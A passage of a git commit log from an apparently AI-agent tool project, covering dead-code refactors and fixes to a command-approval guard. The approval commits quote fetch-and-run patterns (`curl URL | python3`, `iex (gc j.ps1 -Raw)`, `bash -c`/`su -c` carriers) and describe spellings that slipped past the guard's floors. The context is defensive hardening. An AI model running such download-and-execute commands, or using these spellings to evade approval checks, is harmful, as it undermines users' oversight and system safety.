  _RUNNING_WAIT_POLL_INTERVAL, _STOP_TIMEOUT, _STOP_POLL_INTERVAL,
  _SNAPSHOT_STORE_NAME
- tools/environments/sandbox_scope.py: CredentialRef (docstring in
  agent/terminal_env_provider.py and the terminal-environment-plugin guide no
  longer name it)
- tools/environments/streams.py: supports_streams() (the provider attribute of
  the same name stays)
- completion_reason "failed_start": its producer left in cd818a4d054; drop the
  lookups in process_registry_notifications._REASON_STATUS (and its
  "Failed to Start" branch), cli_process_dock._STATUS_BY_REASON,
  ui-tui processRoster REASON_STATUS, and the field comments
- tools/terminal_hints.py: _EXIT_CODE_HINTS[137] (exit 137 always carries a
  SIGKILL exit note, which gates annotate_failure off)
- ProcessRegistry._config_value: unread `fallback` parameter
2026-11-16 15:23:37 +05:30
alt-glitch
192cdaf266 refactor(delegation): delete unreached ledger ack, finalizing filters, reserved events and dead params
Removed:
- tools/async_delegation.py::mark_completion_delivered (no production caller; delivery acks go through claim/complete_completion_delivery)
- tools/async_delegation.py: 'finalizing' in seven state SQL filters (the ledger state column is only ever written 'running' or a terminal status; 'finalizing' is in-memory record status only, in every commit)
- tools/delegate_tool_child_run.py::_ChildRun.wait_liveness_aware child_future parameter (unread in the body)
- tools/delegate_tool_child_run.py::_start_heartbeat (a constructor alias; delegate_tool builds _Heartbeat directly)
- tools/delegate_tool.py: facade imports DelegateEvent and _batch_prefix (unused in the body, reached by nobody through the facade)
- tools/delegate_tool_progress.py::DelegateEvent.TASK_SPAWNED / TASK_COMPLETED / TASK_FAILED (reserved, never emitted)
- tools/delegate_tool_auto_resume.py: _lineage's lineage-id set and superseded_reason's unused record argument

Tests: the completion-wait helper in test_delegate_auto_resume.py filters
state != "running", matching the production SQL.
2026-11-16 15:23:23 +05:30
alt-glitch
782e0b42c9 refactor(code-files): delete unreached sandbox gate, checkpoint helpers, py shell linter
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:

- tools/code_execution_tool.py::SANDBOX_AVAILABLE (constant True) and its
  two `if not SANDBOX_AVAILABLE` branches; the duplicated gateway-lifecycle
  comment in execute_code
- tests: test_windows_returns_error (only flipped the constant) and the
  constant's monkeypatch in test_execute_code_lifecycle_guard_deadline
- tools/checkpoint_manager.py: the no-op `store = _store_path(base)` /
  `_ = store` pair in _migrate_legacy_store; unused imports
  clear_stale_tmp_packs, rmtree_readonly, Dict, List, Set, Tuple;
  _list_project_refs (test-only) and its one assertion
- hermes_cli/cli_auto_maintenance.py::_run_checkpoint_auto_maintenance
  (imported by cli.py, never called), its cli.py import, its orphaned
  `threading` import and its no-op test monkeypatch
- tools/file_operations.py::ShellFileOperations._run_python_snippet
- tools/file_operations_lint.py: the '.py' entry in LINTERS (the in-process
  LINTERS_INPROC['.py'] always answers first)

- test_profile_rename_checkpoints: assert the migrate-identity retry deletes the leftover old checkpoint ref (via _ref_tip), replacing the deleted _list_project_refs check.
- docs(checkpoints-and-rollback): auto-prune runs only on the gateway housekeeping tick; the CLI never runs it.
2026-11-16 15:22:48 +05:30
alt-glitch
f3aebdb91c refactor(approval): delete unreached pending store and redundant guards
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:
- tools/approval.py::_pending: write-only dict; no production code reads it
- tools/approval.py::submit_pending: only writer of _pending
- tools/approval.py::_pending_result: the pending dict built only for submit_pending
- tools/approval.py::check_execute_code_guard: vercel_sandbox early return;
  _should_skip_container_guards already returns True for vercel_sandbox
- tools/approval_detection.py::logger (and its now-unused logging import): never used
- tools/approval_detection.py::_CONTAINER_GLOBAL_FLAGS: byte-identical to _GLOBAL_FLAGS;
  the container rules now use _GLOBAL_FLAGS
- tools/plugin_guard_context.py::LITERAL_INERT_PATTERN_IDS: named only in __all__

Tests: dropped fixture clears of _pending and assertions that read the
deleted store; the result-dict assertions that cover the same behaviour stay.
The _pending_result docstring no longer says it queues approvals for /approve and
/deny: it never did. It now lists what the function returns.
2026-11-16 15:22:35 +05:30
alt-glitch
0ad498fd80 refactor: snapshot stores read through utils.read_json_or_empty
tools/environments/base.py carried _load_json_store, a line-for-line copy of
utils.read_json_or_empty (same utf-8-sig read, same OSError/ValueError
fallback, same non-object check). base.py, modal.py and vercel_sandbox.py now
call the shared helper and the copy is gone.

Its direct test moves to tests/test_utils_read_json_or_empty.py, since no test
of the shared helper covered missing, malformed or non-object files. The modal
lock test now patches read_json_or_empty in base.py, where the store update
looks it up.
2026-11-16 14:13:27 +05:30
alt-glitch
72564e4b7f fix(code-health): check tool discovery in scripts/check, not in a test
The repo-wide check that every module registering a tool at import is one
discovery imports parsed production source from a test, which
tests/AGENTS.md bans. It is now the `tool-discovery` guard
(scripts/check_tool_discovery.py), run by `scripts/check` and its lint.yml
step, using discovery's own `_module_registers_tools` and
`_tool_module_candidates`.
2026-11-16 11:52:44 +05:30
alt-glitch
e22250cf17 fix(code-health): the file-size fix text asks for a folder, guarded by a discovery test
The FILE_LINES/CC/FUNC_LINES fix text told contributors to split a big file
into a flat `<stem>_<topic>.py` sibling, which is how tools/ grew to 315 flat
files and tests/hermes_cli/ to 1,928. It now says to turn `<stem>.py` into a
`<stem>/` package and move code into a topic module there.

Inside a tools/ package, discovery imports only `<pkg>/tool.py`
(tools/registry.py `_tool_module_candidates`), so a module named anything else
that calls registry.register() at import is dropped without an error. A new
test lists every tracked module under tools/ that registers at import and
fails, naming the module, when discovery would not import it. Root AGENTS.md
and CONTRIBUTING.md carry the same rule.
2026-11-16 11:52:44 +05:30
Maciej Lisiewski
d6ec9696ba fix(approval): flag a stdin interpreter sink followed by output redirects
`curl URL | python3 > result.txt` was not flagged: the interpreter token
required a separator or end of line right after the name, so an output
redirect hid the sink even though python still reads and runs the
download from stdin (greptile review).

Allow any number of output redirects (`> f`, `>> f`, `2>&1`, `&> f`)
after the interpreter, each a possessive token so the match stays
linear. An input redirect (`< local.py`) replaces stdin and a script
argument after a redirect names the program, so both stay out.
2026-11-16 02:38:30 +01:00
Maciej Lisiewski
ad4fb4043b fix(approval): read the floors' sources for the malformed-grep refusal
Row 19 of the review: the malformed-grep refusal ran before the hardline
patterns and still read only the body-dropped copy, while main reads the
raw command. A script body holding an unterminated `grep -P` quote lost
main's refusal, and when that quote also hid a later line from the
quote-masked hardline rules, the command after it went through as well.

It now reads the same sources as the other floors
(heredoc_scan_sources(..., floors=True)), with main's ANSI-C expansion and
quoted-newline mask on each: the raw command for a body something runs
later, and the dropped copies for a grep after the terminator that a body
quote hid. The now-unused mask_heredoc_bodies_for_shell_scan import goes.

Patch from the review applied unchanged.

Co-authored-by: Bear Huddleston <196404565+BearHuddleston@users.noreply.github.com>
2026-11-16 02:23:14 +01:00
Maciej Lisiewski
216bd9b6e6 fix(approval): keep heredoc bodies on the hardline and deny floors
Row 18 of the review (with @teknium1's analysis): the floors restored the
raw command only when DownloadThenRunMatcher recognized a run of the file
a `cat` heredoc wrote. What can execute that file has no end (`mv` then
run, a variable, find -exec, xargs, make, npm scripts, crontab, git hooks,
a bin dir, rc files), so each unrecognized run dropped the body from the
floors and `approvals.mode: off` approved it.

The hardline and deny floors now always scan the raw command alongside
the body-dropped copies, as main does, so they are never looser than main.
The dropped copies still expose a command after the terminator that a
body quote hid (#140704), so those rows stay stricter than main. Only the
dangerous-prompt layer drops a `cat` body as data (a miss there costs a
prompt, not a block), and it keeps the run tracking so a written script
that the same string runs still prompts.

Trade-off, as on main: a data-only heredoc that names a hardline or denied
command hits the floor again. Tests that pinned "quiet on the deny list"
now pin "the doc adds no prompt", and a new test pins the floors for
unrecognized runs.

Co-authored-by: Bear Huddleston <196404565+BearHuddleston@users.noreply.github.com>
2026-11-15 22:23:01 +01:00
Maciej Lisiewski
769999bc12 fix(approval): keep a written script on the floors when a command string or PowerShell runs it
Rows 16 and 17 of the review: two spelling families that run the file a
heredoc just wrote never reached the run or read-run passes, so main's
hardline and deny floors were lost on them.

- A command string handed to a shell, pwsh/powershell, cmd or su
  (`bash -c 'bash job.sh'`, `sudo sh -c "sh job.sh"`, `su -c '…' root`,
  `cmd /c "call j.bat"`) is a command line of its own. Both run regexes
  now accept that carrier prefix, and `call` counts as a run keyword.
- PowerShell runs a file's content through Invoke-Expression or a script
  block (`iex (gc j.ps1 -Raw)`, `Get-Content j.ps1 | iex`,
  `[scriptblock]::Create((gc j.ps1 -Raw))`), or dot-sources/calls it in a
  -Command string. A new _PS_READ_RUN_RE pass catches these when FILE was
  written earlier in the same string.

Patch from the review applied unchanged.

Co-authored-by: Bear Huddleston <196404565+BearHuddleston@users.noreply.github.com>
2026-11-15 22:07:17 +01:00